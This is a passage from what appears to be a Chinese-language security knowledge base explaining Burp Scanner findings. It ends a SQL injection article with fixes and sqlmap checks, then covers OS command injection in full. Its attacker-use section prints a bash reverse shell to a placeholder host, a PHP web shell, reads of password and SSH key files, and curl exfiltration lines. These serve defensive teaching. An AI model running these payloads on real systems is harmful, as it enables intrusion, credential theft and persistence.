欄位名稱無法使用 #{},此時必須搭配白名單驗證 -->
<select id="findAllSorted" resultType="Product">
SELECT * FROM products ORDER BY ${sortColumn} ${sortDirection}
</select>
// ✅ 對應的 Service 層白名單驗證(搭配上方 MyBatis XML)
private static final Set<String> ALLOWED_SORT_COLUMNS =
Set.of("name", "price", "created_at");
private static final Set<String> ALLOWED_DIRECTIONS =
Set.of("ASC", "DESC");
public List<Product> findAllSorted(String sortColumn, String sortDirection) {
// 嚴格驗證,不符合則使用預設值
if (!ALLOWED_SORT_COLUMNS.contains(sortColumn)) {
sortColumn = "created_at";
}
if (!ALLOWED_DIRECTIONS.contains(sortDirection.toUpperCase())) {
sortDirection = "DESC";
}
return productMapper.findAllSorted(sortColumn, sortDirection);
}
MyBatis 黃金法則:<code class="kb-btn">#{}</code> 用於值(value),<code class="kb-btn">${}</code> 僅用於結構性識別符(如欄位名、資料表名),且後者必須搭配嚴格的白名單驗證。
Node.js(Sequelize ORM)
// ❌ 危險:誤用 raw query 拼接
const result = await sequelize.query(
<code>SELECT * FROM products WHERE name = '${searchTerm}'</code>
);
// ✅ 安全:使用 replacements 參數
const result = await sequelize.query(
"SELECT * FROM products WHERE name = :name",
{ replacements: { name: searchTerm } }
);
// ✅ 最佳實務:使用 Sequelize Model API
const product = await Product.findOne({
where: { name: searchTerm }
});
注意:使用 ORM 的一般查詢方法(如 <code>findOne({ where: { id } })</code>)通常已內建參數化保護,但一旦使用 <code>raw()</code>、<code>literal()</code> 等方法,就必須自行確保安全。
6.3 長期預防建議
- 建立 Secure Coding Guidelines:明確規定所有資料庫存取必須使用參數化查詢或 ORM,禁止使用字串拼接方式組合 SQL。
- 程式碼審查(Code Review)設定 checklist:PR review 時明確檢查是否有字串拼接 SQL 的情況。
- CI/CD 整合 SAST 工具:透過 Semgrep、SonarQube、Checkmarx 等工具,在提交階段自動掃描危險的 SQL 拼接模式。
- 資料庫帳號最小權限設計:依功能拆分帳號,只讀功能使用只讀帳號,避免單一帳號擁有完整資料庫控制權。
- 關閉生產環境的詳細錯誤輸出:確保 production 環境的錯誤不會揭露 SQL 語法或資料庫結構資訊。
- 定期進行 DAST 掃描:將 Burp Suite Enterprise Edition 或類似工具納入 CI/CD pipeline,確保每次部署後自動掃描高風險注入點。
七、如何驗證是否修好?
7.1 Burp Suite Re-scan
修補完成後,使用 Burp Scanner 針對同一輸入點重新進行主動掃描,確認原始 issue 不再出現。
7.2 手動驗證重點
- 在相同的輸入點重新注入原本觸發問題的 payload(如 <code>'</code>、<code>' OR 1=1–</code>),確認回應不再出現資料庫錯誤或異常行為差異。
- 確認回應的 HTTP status code 與內容是否符合預期(例如:正常輸入 200 回應,注入 payload 亦回應統一的錯誤訊息而非 500 錯誤)。
7.3 程式碼層面確認
- 直接審閱已修改的程式碼,確認所有相關的資料庫操作均已改用參數化查詢或預備語句(Prepared Statement)。
- 使用 SAST 工具掃描修改後的程式碼,確認不再有字串拼接 SQL 的 pattern。
7.4 日誌觀察
- 確認應用程式日誌與資料庫日誌中不再出現 SQL 語法錯誤記錄。
- 若有 WAF,確認相關規則觸發記錄是否符合預期。
7.5 自動化測試
- 在單元測試或整合測試中加入針對 SQL Injection 的安全測試案例,例如:傳入含單引號、UNION 關鍵字等的輸入,驗證系統回傳預期結果而非資料庫錯誤。
- 將此類測試案例納入 CI pipeline,確保未來的程式碼變動不會重新引入漏洞。
7.6 sqlmap 驗證流程(授權環境專用)
⚠️ 重要前提:sqlmap 是攻擊性工具,僅可在已獲得書面授權的測試環境中執行,嚴禁對未授權系統使用。以下流程適用於修補後的回歸驗證,或在 staging 環境確認漏洞已消除。
安裝與環境準備
# 方式一:使用 pip 安裝(建議在 virtualenv 中執行)
pip install sqlmap
# 方式二:使用 Docker(隔離環境,推薦)
docker pull sqlmapproject/sqlmap
alias sqlmap="docker run --rm -it sqlmapproject/sqlmap"
# 確認版本
sqlmap --version
基本掃描:GET 參數
# 掃描單一 GET 參數
# --level 控制深度(1–5),--risk 控制風險等級(1–3)
sqlmap -u "https://staging.example.com/products?id=1" \
--level=2 \
--risk=1 \
--batch # 非互動模式,自動選擇預設選項
進階掃描:POST 參數(表單登入)
# 掃描 POST body 中的參數
sqlmap -u "https://staging.example.com/login" \
--data="username=admin&password=test123" \
--level=3 \
--risk=2 \
--batch \
--dbms=mysql # 若已知資料庫類型,指定可加速掃描
使用 Burp 攔截的請求直接測試
實務上最推薦的方式:先用 Burp Suite 攔截目標請求,儲存為 <code>.txt</code> 檔,再交給 sqlmap 測試。這樣可確保 Cookie、Session Token、CSRF Token 等 Header 都被正確帶入。
# 步驟一:在 Burp Proxy 攔截請求後
# 右鍵 → Save item → 存為 request.txt
# 步驟二:以請求檔作為輸入
sqlmap -r /path/to/request.txt \
--level=3 \
--risk=2 \
--batch
# 若目標需要登入狀態,確認 request.txt 中已包含有效的 Cookie/Session Header
針對特定參數指定測試
# 只測試 id 參數,避免觸碰其他無關參數
sqlmap -u "https://staging.example.com/api/user?id=1&page=2" \
-p id \
--level=2 \
--risk=1 \
--batch
驗證修補成效的判讀方式
修補前後的 sqlmap 輸出差異,是判斷是否修好的關鍵指標:
# ❌ 修補前(漏洞存在)的典型輸出
[INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[INFO] GET parameter 'id' appears to be 'AND boolean-based blind' injectable
...
[CRITICAL] sqlmap identified the following injection point(s):
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 1609=1609
---
# ✅ 修補後(漏洞已消除)的典型輸出
[INFO] testing connection to the target URL
[INFO] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[WARNING] GET parameter 'id' does not seem to be injectable
[CRITICAL] all tested parameters do not appear to be injectable.
常用 sqlmap 參數速查表
| 參數 | 說明 | 建議值 |
|---|---|---|
| <code>–level</code> | 測試深度(影響測試的參數範圍與 payload 數量) | 驗證用:2;完整測試:3–4 |
| <code>–risk</code> | 風險等級(較高值會使用可能修改資料的 payload) | 驗證用:1;謹慎使用 2–3 |
| <code>–dbms</code> | 指定資料庫類型(mysql/mssql/oracle/postgresql) | 已知類型時指定,加速掃描 |
| <code>–batch</code> | 非互動模式,自動選擇預設值 | 建議在 CI 環境中啟用 |
| <code>–tamper</code> | 使用混淆腳本(如 space2comment, charunicodeencode) | 測試 WAF 防禦效果時使用 |
| <code>–proxy</code> | 透過代理轉送流量(可搭配 Burp Suite 使用) | 除錯時使用 |
| <code>–forms</code> | 自動偵測並測試頁面上的 HTML 表單 | 快速掃描靜態頁面時使用 |
| <code>–crawl</code> | 從指定 URL 開始爬取並測試 | 完整測試時使用,注意流量 |
| <code>–output-dir</code> | 指定輸出報告目錄 | 建議指定,方便存檔比對 |
整合進 CI/CD Pipeline 的驗證腳本示意
#!/bin/bash
# sql_injection_check.sh
# 在 staging 部署後自動執行,確認目標端點不存在 SQLi
TARGET_URL="https://staging.example.com/api/product?id=1"
SQLMAP_OUTPUT_DIR="./security-reports/sqlmap"
mkdir -p "$SQLMAP_OUTPUT_DIR"
echo "[*] 開始 SQL Injection 驗證掃描..."
sqlmap -u "$TARGET_URL" \
--level=2 \
--risk=1 \
--batch \
--output-dir="$SQLMAP_OUTPUT_DIR" \
2>&1 | tee "$SQLMAP_OUTPUT_DIR/scan.log"
# 判斷是否發現注入點
if grep -q "identified the following injection point" "$SQLMAP_OUTPUT_DIR/scan.log"; then
echo "[FAIL] ❌ SQL Injection 漏洞仍然存在,請檢查修補狀態"
exit 1
else
echo "[PASS] ✅ 未發現 SQL Injection,驗證通過"
exit 0
fi
將此腳本加入 CI/CD Pipeline 的 post-deploy 階段,可在每次部署後自動確認關鍵端點的 SQLi 狀態,並透過 exit code 控制 pipeline 是否繼續進行。
八、從 SSDLC 角度,應該在哪個階段攔下來?
Requirements(需求階段)
在需求規格中明確定義安全需求:所有資料庫存取功能必須使用參數化查詢,並納入驗收條件(Acceptance Criteria)。若有使用外部套件或 ORM 框架的需求,應在此階段評估其安全性。
Design(設計階段)
架構設計時應定義資料庫存取層(Data Access Layer / DAO)的設計模式,規範統一透過參數化查詢介面進行資料庫互動,避免各功能模組自行組合 SQL。同時,應設計資料庫帳號的最小權限架構,並規劃錯誤處理機制(統一錯誤訊息,不暴露資料庫細節)。
Implementation(實作階段)
這是 SQL Injection 最常被引入的階段,也是最關鍵的防線。開發者在撰寫資料庫查詢時應強制遵循 Secure Coding Guidelines,並在 Code Review 時由同僚或資安人員檢查是否存在字串拼接 SQL 的模式。SAST 工具應在此階段即時提供反饋。
Verification(驗證階段)
執行 SAST 掃描(靜態分析)與 DAST 掃描(Burp Suite 等動態測試),同時進行人工 Penetration Testing,針對所有使用者輸入點測試 SQL Injection。此階段最適合發現並確認漏洞是否真實存在。
Deployment(部署階段)
確認生產環境的資料庫設定符合安全基準:關閉詳細錯誤輸出、確認帳號權限最小化、確認沒有測試用的 debug 設定殘留。可考慮在 WAF 規則層加入 SQL Injection 防護作為縱深防禦。
Operations(維運階段)
持續監控應用程式日誌與 WAF 日誌,設定異常查詢告警(如頻繁的 SQL 錯誤、異常高延遲查詢)。定期執行週期性 DAST 掃描,確保新功能上線後不引入新漏洞。同時,持續追蹤資料庫套件與 ORM 框架的安全更新。
最適合預防的階段:Implementation(實作)+ Design(設計)
最容易被發現的階段:Verification(驗證)+ Operations(維運)
九、這個漏洞常見的誤解
誤解一:「用了 ORM 就不可能有 SQL Injection」
ORM 確實大幅降低了 SQLi 的風險,但並非鐵板一塊。只要開發者使用 ORM 提供的 raw query 介面並進行字串拼接,風險依然存在。Django 的 <code>raw()</code>、Hibernate 的 <code>createNativeQuery()</code>、MyBatis 的 <code class="kb-btn">${}</code>,都是常見的「ORM 保護被繞過」情境。使用 ORM 不等於安全,關鍵在於如何使用。
誤解二:「有 WAF 就夠了,不用改程式碼」
WAF 是縱深防禦的一層,而非替代修補的理由。WAF 規則可能被繞過(如使用編碼、換行符、注釋變形等技巧),且 WAF 無法處理所有情境(如 Out-of-band 注入)。根本修補仍必須在程式碼層面完成。
誤解三:「我的資料庫只有內部資料,外洩也無所謂」
內部資料同樣可能包含員工個資、商業機密、系統帳號或 API 金鑰。攻擊者取得資料庫存取後,可能進一步利用資料庫帳號進行橫向移動,影響範圍遠超過原始資料本身。
誤解四:「參數化查詢會影響效能,不適合高流量系統」
這是一個常見但早已過時的疑慮。現代資料庫對 Prepared Statement 有良好的快取機制,在高流量系統中使用參數化查詢不僅安全,效能表現往往與動態 SQL 相當,甚至更好。效能考量不應成為放棄安全設計的藉口。
十、重點整理
- SQL Injection 的根本成因是使用者輸入未被適當區隔,直接參與 SQL 語句結構,應透過參數化查詢(Prepared Statement)從根本解決,而非依賴輸入跳脫或 WAF。
- Burp Scanner 透過主動注入異常 payload 來偵測 SQLi,掃描結果需人工驗證,確認是否為真實可利用漏洞;sqlmap 可用於授權環境的進一步確認與修補後回歸測試。
- 影響範圍從資料外洩到主機控制都有可能,取決於資料庫帳號權限與底層環境配置,不應低估。
- SSDLC 中最關鍵的防線在實作階段:Secure Coding Guidelines + Code Review + SAST 工具是阻止 SQLi 被引入的最有效組合。
- ORM、WAF、輸入驗證都是有價值的防禦層次,但都不能取代參數化查詢作為核心修補手段;縱深防禦各層應並行部署,而非互相替代。
十一、參考對照
| 欄位 | 內容 |
|---|---|
| Burp Scanner Issue Name | SQL injection |
| Severity | High |
| Index (hex) | <code>0x00100200</code> |
| Index (dec) | <code>1049088</code> |
| CWE-89 | Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) |
| CWE-94 | Improper Control of Generation of Code (‘Code Injection’) |
| CWE-116 | Improper Encoding or Escaping of Output |
| CAPEC | CAPEC-66: SQL Injection |
[Burp Scanner Issue] 001 OS Command Injection 完整解析:成因、攻擊手法與安全修補指南
OS Command Injection(作業系統命令注入)在資安領域中幾乎是「最不應該出現、但現實中卻反覆出現」的漏洞之一。它的嚴重性不亞於 SQL Injection,但在許多開發團隊的意識中,卻常被低估,甚至因為「功能正常」而被忽略。
這個漏洞的危險之處在於它跨越了應用程式的邊界,直接觸及底層作業系統。一旦被成功利用,攻擊者不再受限於應用程式本身的功能範疇,而是能以伺服器身份執行任何系統命令——讀取敏感檔案、新增帳號、建立後門、或向內網發起橫向攻擊。這正是它在 Burp Scanner 中被標記為 High Severity 的主要原因。
一、這是什麼漏洞?
白話解釋
OS Command Injection 的核心問題是:應用程式在執行系統指令時,把使用者提供的資料直接拼接進命令字串,並透過 Shell 直譯器執行,卻沒有做足夠的驗證與隔離。
舉個具體例子:假設一個網站有個「Ping 測試」功能,前端讓使用者輸入 IP,後端程式碼這樣寫(Node.js 示意):
// ❌ 危險寫法
const { exec } = require('child_process');
const userInput = req.query.ip; // 使用者輸入,未驗證
exec(<code class="kb-btn">ping -c 4 ${userInput}</code>, (err, stdout) => {
res.send(stdout);
});
當使用者輸入的不是合法 IP,而是 <code>8.8.8.8; cat /etc/passwd</code>,Shell 會把它拆解成兩個命令:
- <code>ping -c 4 8.8.8.8</code>
- <code>cat /etc/passwd</code>
兩個都會被執行,系統密碼檔案的內容就被吐回給攻擊者了。
漏洞本質
這個漏洞的本質是信任邊界的混淆:應用程式在建構命令時,沒有清楚區分「程式邏輯」和「使用者資料」,導致使用者資料被 Shell 當成命令邏輯來解讀。
與相近漏洞的差異
| 漏洞類型 | 注入目標 | 執行環境 |
|---|---|---|
| OS Command Injection | Shell 命令 | 作業系統層 |
| SQL Injection | SQL 查詢語句 | 資料庫層 |
| Code Injection | 應用程式語言(eval 等) | 應用程式執行環境 |
| LDAP Injection | LDAP 查詢 | 目錄服務層 |
OS Command Injection 的破壞力通常最大,因為作業系統層的權限往往超越資料庫或應用程式層。
二、Burp Scanner 為什麼會報這個問題?
偵測策略:主動掃描為主
Burp Scanner 對 OS Command Injection 的偵測主要依賴主動掃描(Active Scanning),被動掃描較難觸發此類問題。
Burp 會在可疑的輸入點(URL 參數、POST 表單欄位、HTTP Header、Cookie 值等)注入各種測試 Payload,並觀察回應行為來判斷是否存在注入點。
常見的偵測手法
Burp Scanner 通常使用以下幾種方式來偵測 OS Command Injection:
1. 時間延遲測試(Time-based Detection)
這是最常見也最可靠的偵測方式。Burp 注入像這樣的 Payload:
- Unix/Linux:<code>; sleep 10 #</code>、<code>|| sleep 10</code>、<code>& sleep 10 &</code>
- Windows:<code>& timeout /t 10</code>、<code>| timeout /t 10</code>
若伺服器回應時間明顯增加(例如延遲 10 秒),Burp 就會判定命令被執行。這種方法的優點是不依賴錯誤訊息,在 Out-of-Band 環境也適用。
2. 輸出回顯測試(Output-based Detection)
Burp 嘗試在命令中插入能產生固定輸出的指令,例如:
- Unix:<code>; echo BURP_CANARY_STRING</code>、<code>| id</code>、
<code> </code>whoami<code> </code> - Windows:<code>& echo BURP_CANARY_STRING</code>
若回應頁面中出現對應字串,Burp 會確認注入成功。
3. Shell 特殊字元模糊測試
Burp 會系統性地對輸入點注入各種 Shell 特殊字元,觀察回應是否出現錯誤訊息、行為改變或結構性差異:
; | || & && ` $() > >> < 換行符號(%0a)
4. Out-of-Band(帶外)偵測
當應用程式完全沒有回傳命令輸出時,Burp Pro 的 Collaborator 功能會讓伺服器主動向外發出 DNS 查詢或 HTTP 請求:
; nslookup $(whoami).attacker.burpcollaborator.net
若 Collaborator 收到請求,即確認命令執行成功。
重要提醒
Burp Scanner 的報告不等同於可穩定利用。 掃描器的判定是基於行為特徵,以下情況可能造成誤報(False Positive):
- 伺服器本身的網路延遲造成時間差誤判
- 應用程式碰巧在回應中回傳了類似 Canary 的字串
- WAF 或中間件篡改了請求/回應
所有 Burp 報告的 OS Command Injection 都應由資安人員進行人工驗證,確認是否真正可利用。
三、可能造成的風險與影響
OS Command Injection 被 Burp 標記為 High Severity,在 CVSS 評分中通常達到 9.0 以上,以下從多個面向說明實際衝擊:
機密性(Confidentiality)
- 讀取伺服器上的任意檔案(<code>/etc/passwd</code>、<code>.env</code>、設定檔、私鑰)
- 傾倒資料庫連線字串,進一步取得資料庫完整內容
- 取得雲端環境的 Instance Metadata(如 AWS EC2 的 IAM Token)
完整性(Integrity)
- 修改應用程式程式碼,植入 Web Shell
- 竄改系統設定檔,破壞應用程式正常運作
- 刪除或加密檔案(勒索軟體攻擊路徑之一)
可用性(Availability)
- 執行 <code>rm -rf /</code> 或大量消耗資源的命令,造成服務中斷
- 關閉關鍵服務或重啟系統
橫向移動(Lateral Movement)
應用程式伺服器通常位於 DMZ 或內網,攻擊者取得 Shell 後可利用伺服器作為跳板:
- 掃描內網其他主機
- 利用伺服器的內網憑證或信任關係,存取資料庫、儲存服務、內部 API
- 滲透至 Kubernetes 叢集、CI/CD 系統或程式碼倉庫
持久性(Persistence)
- 新增 SSH 公鑰至伺服器
- 設定 Crontab 定期執行惡意程式
- 安裝 Rootkit,即使漏洞被修補後仍保有存取權
即使執行命令的帳號權限受限(例如 <code>www-data</code>),攻擊者仍可透過本地提權漏洞或設定錯誤進一步擴大影響範圍。
四、常見成因
以下是工程師在開發過程中最常引入 OS Command Injection 的情境:
1. 直接拼接使用者輸入至命令字串
這是最根本的成因。開發者為了快速實現功能,直接使用字串拼接建構命令:
# ❌ Python 危險範例
import os
filename = request.args.get('file')
os.system(f"convert {filename} output.pdf")
2. 使用 Shell=True 模式執行子程序
許多語言提供的子程序 API 有一個選項允許透過 Shell 執行,這讓 Shell 特殊字元生效:
# ❌ Python subprocess 危險寫法
import subprocess
subprocess.run(f"grep {user_input} /var/log/app.log", shell=True)
3. 呼叫外部工具時未隔離參數
應用程式需要呼叫外部工具(如 ImageMagick、ffmpeg、git、curl)時,直接將使用者輸入作為參數傳入,卻沒有用 Argument Array 隔離:
// ❌ Node.js 危險範例
const exec = require('child_process').exec;
exec(<code>ffmpeg -i ${req.body.inputFile} output.mp4</code>);
4. 對使用者輸入的信任過度依賴前端驗證
後端完全信任前端的下拉選單或 JavaScript 驗證,認為使用者只能輸入預期的值,沒有在後端做白名單驗證。攻擊者只需用 curl 或 Burp 直接發送惡意請求即可繞過前端限制。
5. 測試用的系統呼叫殘留至正式環境
開發或測試階段為了方便 Debug,直接加入了呼叫系統命令的功能(如執行 shell script、呼叫診斷工具),部署至正式環境時忘記移除。
6. 第三方套件或 CMS 插件引入的間接呼叫
應用程式本身可能沒有問題,但所依賴的第三方函式庫或 CMS 插件內部有不安全的命令呼叫。這類問題往往在 SCA(Software Composition Analysis)掃描時才被發現。
五、攻擊者可能怎麼利用?
攻擊思路概覽
攻擊者通常會按照以下流程逐步確認與利用 OS Command Injection:
階段一:偵察與確認
攻擊者首先找到所有將使用者輸入傳遞給後端的點,特別關注那些「看起來像是觸發伺服器動作」的功能,例如:檔案轉換、Ping/Traceroute 工具、報表匯出、DNS 查詢、系統健康檢查。
階段二:注入測試
從簡單的特殊字元開始,觀察回應是否有異常:
常用偵測 Payload(Unix/Linux):
# 時間延遲確認(若頁面慢 10 秒才回應,代表命令被執行)
; sleep 10
| sleep 10
&& sleep 10
%0a sleep 10 # 換行符注入
# 輸出回顯確認
; echo vulnerable123
| id
; whoami
<code>id</code>
$(id)
# Out-of-Band(需 Burp Collaborator 或自建 DNS Server)
; nslookup <code>whoami</code>.your-server.com
; curl http://your-server.com/$(id)
常用偵測 Payload(Windows):
& timeout /t 10
| timeout /t 10
& echo vulnerable123
& whoami
階段三:確認後擴大利用
一旦確認命令執行,攻擊者會嘗試:
# 確認環境資訊
; uname -a; id; pwd; env
# 讀取敏感檔案
; cat /etc/passwd
; cat /proc/self/environ
; cat ~/.ssh/id_rsa
# 建立反向 Shell(以 bash 為例)
; bash -i >& /dev/tcp/attacker-ip/4444 0>&1
# 植入 Web Shell(確保持久存取)
; echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/shell.php
如何手動檢測
在人工驗證時,建議按照以下步驟:
- 用 Burp Suite 攔截請求,找出所有可疑輸入點(包含 Header 和 Cookie)
- 注入時間延遲 Payload,確認伺服器回應時間是否符合預期延遲
- 嘗試輸出回顯,確認命令結果是否出現在回應中
- 若前兩者皆無回應,使用 Burp Collaborator 進行帶外確認
- 記錄所有測試過程,包含 Request/Response,以便後續修補驗證
六、開發與維運團隊該怎麼修補?
6.1 短期補救措施
在正式修補完成前,可先採取以下緊急措施降低風險:
- WAF 規則強化:在 WAF 上加入規則,阻擋常見的 Shell 特殊字元組合(<code>;</code>、<code>|</code>、<code>&&</code>、
<code> </code><code>、</code>$()`)傳入可疑的 API 端點。但要注意,這只是緩解措施,有繞過風險。 - 流量監控與告警:在 SIEM 或 IDS 中設定規則,偵測包含 Shell 特殊字元的異常請求。
- 降低執行權限:確認應用程式執行帳號(如 <code>www-data</code>、<code>node</code>)的權限是否符合最小權限原則,避免攻擊者在注入後直接取得 root 權限。
- 暫時關閉高風險功能:若特定功能(如系統診斷工具)風險過高且非核心業務,評估暫時下架。
6.2 正確修補方式
原則一:完全避免使用系統命令(最優先)
大多數情境下,呼叫系統命令並非必要。以程式語言的原生函式庫替代:
// ❌ 危險:用命令列 ping
exec(<code class="kb-btn">ping -c 4 ${userInput}</code>);
// ✅ 安全:用 Node.js 原生 DNS 函式庫
const dns = require('dns');
dns.lookup(userInput, (err, address) => {
// ...
});
# ❌ 危險:用命令列處理圖片
os.system(f"convert {user_file} output.png")
# ✅ 安全:用 Pillow 函式庫
from PIL import Image
img = Image.open(user_file_path) # 注意 user_file_path 仍需驗證是否為合法路徑
img.save("output.png")
原則二:使用 Argument Array,絕不透過 Shell 執行
若確實必須呼叫外部程式,使用 Argument Array 傳遞參數,讓作業系統直接 fork/exec,不經過 Shell 直譯器:
// ❌ 危險:透過 Shell 執行,Shell 特殊字元生效
const { exec } = require('child_process');
exec(<code>ffmpeg -i ${userInput} output.mp4</code>);
// ✅ 安全:Argument Array,不經過 Shell
const { execFile } = require('child_process');
execFile('ffmpeg', ['-i', userInput, 'output.mp4'], (err, stdout) => {
// Shell 特殊字元在這裡只是普通字串,不會被解讀
});
# ❌ 危險
import subprocess
subprocess.run(f"grep {keyword} /var/log/app.log", shell=True)
# ✅ 安全:列表傳參,shell=False(預設值)
subprocess.run(["grep", keyword, "/var/log/app.log"])
原則三:嚴格的白名單輸入驗證
若無法完全避免系統呼叫,在傳入命令前,對使用者輸入實施嚴格的白名單驗證:
# ✅ Python 白名單驗證範例
import re
def validate_ip_address(ip: str) -> bool:
"""只允許合法 IPv4 格式,拒絕所有其他字元"""
pattern = r'^(\d{1,3}\.){3}\d{1,3}$'
if not re.match(pattern, ip):
return False
parts = ip.split('.')
return all(0 <= int(p) <= 255 for p in parts)
user_input = request.args.get('ip', '')
if not validate_ip_address(user_input):
return jsonify({'error': 'Invalid IP address'}), 400
# 此時才呼叫(且應搭配 Argument Array)
subprocess.run(['ping', '-c', '4', user_input])
6.3 長期預防建議
- 程式碼審查 Checklist:在 Code Review 的 Checklist 中加入「是否使用了 <code>exec</code>、<code>system</code>、<code>popen</code>、<code>shell=True</code>」等危險模式的確認項目。
- SAST 工具導入:在 CI/CD Pipeline 中整合靜態應用程式安全測試(SAST),自動偵測危險的命令執行模式(如 Semgrep、Bandit、ESLint security plugin)。
- SCA 掃描:對依賴套件進行成分分析,確認第三方函式庫是否有已知的 Command Injection 漏洞。
- 容器最小化:以最小化的 Docker 映像執行應用程式,移除非必要的系統工具(如 <code>bash</code>、<code>nc</code>、<code>curl</code>),降低攻擊者可利用的工具數量。
- 開發者資安教育:定期對開發團隊進行 Secure Coding 訓練,讓大家瞭解「呼叫系統命令」是高風險操作,必須特別謹慎。
七、如何驗證是否修好?
修補完成後,應透過多種方式確認漏洞已被正確消除:
Burp Suite 重新掃描
在 Burp Scanner 中對修補後的端點重新執行主動掃描,確認不再觸發 OS Command Injection 的告警。若使用 Burp Enterprise,可在 CI/CD Pipeline 中整合自動掃描,確保每次部署後都能驗證。
手動驗證重點
- 重現原始 Payload:使用原本發現漏洞的 Payload,確認伺服器回應已正常,不再有時間延遲或命令輸出。
- 邊界測試:嘗試各種 Shell 特殊字元組合,確認白名單驗證是否足夠嚴謹。
- 繞過測試:測試 URL Encoding(<code>%3b</code>、<code>%7c</code>)、雙重編碼、Unicode 變體等,確認驗證邏輯沒有被繞過的空間。
- 確認使用 Argument Array:透過 Code Review 確認程式碼使用了安全的 API,而非依賴字串過濾。
日誌觀察
- 在修補後的測試期間,觀察應用程式日誌、WAF 日誌是否有異常請求被攔截
- 若有 IDS/SIEM,確認是否有針對 Shell 特殊字元的告警觸發
自動化測試
# 整合測試範例:確認命令注入 Payload 被拒絕
import requests
PAYLOADS = [
"; sleep 10",
"| id",
"&& whoami",
"<code>id</code>",
"$(id)",
"%0a id",
]
def test_command_injection_blocked():
base_url = "https://your-app.com/api/ping"
for payload in PAYLOADS:
response = requests.get(base_url, params={"ip": f"8.8.8.8{payload}"}, timeout=5)
# 確認請求在 5 秒內回應(排除 sleep 注入成功的情況)
assert response.elapsed.total_seconds() < 8, f"Possible injection with payload: {payload}"
assert response.status_code in [400, 422], f"Expected validation error, got: {response.status_code}"
八、從 SSDLC 角度,應該在哪個階段攔下來?
OS Command Injection 是一個在所有 SSDLC 階段都應該被關注的漏洞,但各階段的著力點不同:
Requirements(需求階段)
預防重點: 在定義功能需求時,就應明確規範哪些功能「不應使用系統命令呼叫」。若業務需求確實需要呼叫外部程式,應在需求文件中標記為高風險功能,並要求設計和實作時採用安全機制。
實務上,許多「Ping 工具」、「檔案格式轉換」等功能在需求階段就可以改用程式庫實作,完全避免系統呼叫的需求。
Design(設計階段)
預防重點: 進行威脅建模(Threat Modeling)時,識別所有需要呼叫外部程序的設計決策,並在設計文件中明確規範安全的呼叫方式(Argument Array、最小權限帳號、沙盒環境)。
設計時也應考慮是否需要針對此類功能設計額外的存取控制層,確保只有授權使用者才能觸發涉及系統呼叫的操作。
Implementation(實作階段)
最容易引入漏洞的階段,也是最重要的防禦點。
- 制定 Secure Coding Guidelines,明確禁止使用不安全的命令執行模式
- 進行 Peer Code Review 時,重點審查所有涉及 <code>exec</code>、<code>system</code>、<code>popen</code>、<code>shell=True</code> 的程式碼
- 使用 SAST 工具(如 Semgrep、Bandit)在開發階段即時偵測危險模式
Verification(驗證階段)
最容易被發現的階段。
- 執行 DAST 掃描(如 Burp Scanner、OWASP ZAP)對所有輸入點進行自動化測試
- 安排 Penetration Testing,由資安人員人工驗證高風險功能點
- 在 CI/CD Pipeline 中整合自動化安全測試,確保每個 PR 都通過基本的安全檢查
Deployment(部署階段)
預防重點: 確保部署環境遵循最小權限原則:
- 應用程式執行帳號只有必要的系統權限
- 容器映像移除不必要的系統工具
- 啟用 AppArmor 或 Seccomp Profile,限制容器可執行的系統呼叫
Operations(維運階段)
預防重點: 建立持續監控機制:
- WAF 規則定期更新,涵蓋最新的繞過手法
- SIEM 告警規則偵測異常的系統命令執行行為
- 定期進行安全掃描(週期性 DAST),確保新功能沒有引入新的注入點
- 建立漏洞回報與修補的 SOP,確保發現問題時能快速處置
最佳預防時機: Requirements → Design → Implementation(越早越好)
最容易發現時機: Verification → Operations
九、這個漏洞常見的誤解
誤解一:「Burp 掃到了,但我們有 WAF,應該沒問題」
WAF 是一層重要的防禦,但不是萬靈丹。攻擊者有許多繞過 WAF 的手法,包含 URL 編碼、大小寫混用、使用替代的 Shell 語法(如 <code class="kb-btn">${IFS}</code> 替代空格)。
正確的做法是修復根本原因(使用安全 API、實施白名單驗證),而不是依賴 WAF 來遮掩問題。
誤解二:「掃描器說是 High,但應用程式只是一個內部工具,沒有對外開放」
即使是內部工具,OS Command Injection 仍然危險。內部使用者(包含被攻擊的內部帳號、或透過 VPN 進入的攻擊者)都可能利用這個漏洞。許多大型資安事件的起點,正是一個「不重要的內部工具」。
誤解三:「我們做了輸出編碼,所以是安全的」
輸出編碼(Output Encoding)是防禦 XSS 的手段,不能防禦 OS Command Injection。這兩者是不同的漏洞,需要不同的防禦機制。防禦 OS Command Injection 的核心是輸入驗證和使用安全 API,而非輸出編碼。
誤解四:「掃描有報不代表真的可以利用,先放著沒關係」
時間延遲型的 Command Injection 確認方式已相當可靠,「有報有原因」是基本原則。即便在極少數的誤報情況下,也應該花時間人工確認並關閉。把高風險漏洞列為「待確認」而長期擱置,是許多企業資安事件的共同前因。
十、重點整理
- OS Command Injection 的根本成因是信任邊界的混淆:應用程式將未驗證的使用者輸入傳遞給 Shell 直譯器,讓使用者資料被當成命令邏輯執行。
- 修補的最優先策略是完全避免系統命令呼叫,改用程式語言的原生函式庫;若必須呼叫外部程式,應使用 Argument Array,絕對不透過 Shell 傳遞命令字串。
- Burp Scanner 的高嚴重性報告需要人工驗證,但絕不應因此而輕忽——時間延遲型偵測的可靠度相當高,誤報率低。
- 從 SSDLC 角度,預防 OS Command Injection 最有效的階段是 Requirements 和 Implementation,越早在設計上排除「使用系統命令」的需求,修補成本越低。
- WAF、最小權限、容器隔離都是重要的縱深防禦層,但不能取代根本的程式碼修補——安全的架構需要多層防線同時到位。
十一、參考對照
| 項目 | 內容 |
|---|---|
| Burp Scanner Issue Name | OS command injection |
| Severity | High |
| Type Index (Hex) | 0x00100100 |
| Type Index (Dec) | 1048832 |
| CWE-77 | Improper Neutralization of Special Elements used in a Command (‘Command Injection’) |
| CWE-78 | Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’) |
| CWE-116 | Improper Encoding or Escaping of Output |
| CAPEC | CAPEC-248: Command Injection |
| 參考資源 | Web Security Academy: OS command injection |